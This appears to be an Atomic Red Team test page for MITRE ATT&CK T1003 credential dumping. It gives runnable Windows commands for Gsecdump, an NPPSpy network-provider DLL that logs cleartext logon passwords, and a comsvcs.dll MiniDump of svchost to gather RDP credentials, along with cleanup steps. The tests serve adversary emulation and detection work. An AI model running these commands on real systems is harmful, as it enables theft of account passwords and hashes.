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@ForensicITGuy @clr2of8 @Tsora-Pop @mgraeber-rc

T1003 - OS Credential Dumping

Description from ATT&CK

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement]( and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

Atomic Tests

Atomic Test #1 - Gsecdump

Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's following by two 32 characters hashes.

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.

Supported Platforms: Windows

auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9


Name Description Type Default Value
gsecdump_exe Path to the Gsecdump executable Path PathToAtomicsFolder\T1003\bin\gsecdump.exe
gsecdump_bin_hash File hash of the Gsecdump binary file String 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
gsecdump_url Path to download Gsecdump binary file Url

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

#{gsecdump_exe} -a

Dependencies: Run with powershell!

Description: Gsecdump must exist on disk at specified location (#{gsecdump_exe})
Check Prereq Commands:
if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
  Move-Item $binpath "#{gsecdump_exe}"

Atomic Test #2 - Credential Dumping with NPPSpy

Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source:

Supported Platforms: Windows

auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"

Cleanup Commands:

$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER 
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore
Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore

Dependencies: Run with powershell!

Description: NPPSpy.dll must be available in local temp directory
Check Prereq Commands:
if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
Get Prereq Commands:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri -OutFile "$env:Temp\NPPSPY.dll"

Atomic Test #3 - Dump svchost.exe to gather RDP credentials

The svchost.exe contains the RDP plain-text credentials. Source:

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.

Supported Platforms: Windows

auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full

Cleanup Commands:

Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore